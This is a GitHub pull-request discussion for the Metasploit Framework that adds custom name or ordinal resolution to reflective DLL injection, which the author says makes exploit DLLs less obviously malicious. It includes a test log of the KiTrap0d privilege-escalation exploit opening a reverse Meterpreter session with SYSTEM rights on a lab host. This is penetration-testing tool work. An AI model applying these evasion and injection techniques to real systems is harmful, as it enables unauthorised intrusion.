Add support for custom name/ordinal for RDI

[OJ]

Please land the Command ID PR before this one.

Most of the details of the changes for this PR can be found in the Meterpreter PR so please take a look over there. That PR needs to lands before this.

The changes worthy of note here are that RDI now allows for a custom loader function name, or for an ordinal to be specified. It currently defaults to ReflectiveLoader because everything out there currently uses that. Over time, people can compile their own exploit DLLs with a loader that doesn't have a name (like we're now doing for Meterp) making it less obvious that it's a malicious asset.

Verification

Do the things in the other PR first. Then:

• Spin up a session and use a few exploits that have RDI DLLs (eg. KiTrap0d and bypassuac_injection) and make sure they still work.

[OJ]

This stuff seems to come with changes in MSF master that haven't been pulled into 6.x yet. Sorry about that.

[smcintyre-r7]

Now that the payloads side is landed and the payloads gem has been bumped to v2.0.6, would you be able to update the gem file and rebase this? When I looked at merging it, there were quite a few conflicts. Thank you!

Sorted now :)

[smcintyre-r7]

Alright for my testing I used the same procedure I mentioned on the payloads PR. In addition to that I tried a custom reflective DLL with the post/windows/manage/reflective_dll_inject module. I also tested KiTrap0d on an XP system.

• I fixed the export regex in commit 32fee4f, it still wasn't quite using the Ruby string interpolation syntax of #{ } and appeared to just be a typo
• I updated the payload cached sizes in commit 83bdb92

With that, I'm ready to land this. The Travis-CI build failures are due to the payload cached sizes being changed which is expected.

KiTrap0d Test

msf5 exploit(windows/local/ms10_015_kitrap0d) > show options 

Module options (exploit/windows/local/ms10_015_kitrap0d):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  -1               yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)


msf5 exploit(windows/local/ms10_015_kitrap0d) > exploit

[*] Started reverse TCP handler on 192.168.250.87:4444 
[*] Launching notepad to host the exploit...
[+] Process 600 launched.
[*] Reflectively injecting the exploit DLL into 600...
[*] Injecting exploit into 600 ...
[*] Exploit injected. Injecting payload into 600...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 192.168.250.237
[*] Meterpreter session 3 opened (192.168.250.87:4444 -> 192.168.250.237:51048) at 2020-06-24 09:33:04 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

[smcintyre-r7]

Release Notes

Updated the Reflective DLL injection capabilities used by Metasploit for payloads and exploits to resolve functions by either ordinal or name. This allows the framework to take advantage of recent payload updates that remove string names and instead resolve the necessary values by ordinal. The framework change are backwards compatible with Reflective DLLs that use the standard ReflectiveLoader name.

[OJ]

Woohoo! Thank you Spencer!

…

On Wed, 24 Jun 2020, 23:45 Spencer McIntyre, ***@***.***> wrote: Release Notes This changes the Reflective DLL injection capabilities used by Metasploit for payloads and exploits to resolve functions by either ordinal or name. This allows the framework to take advantage of recent payload updates that remove string names and instead resolve the necessary values by ordinal. The framework change are backwards compatible with Reflective DLLs that use the standard ReflectiveLoader name. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub <#13476 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AAAHBYDQWJOUZ42HOTVFDOTRYH7OZANCNFSM4ND5HJQQ> .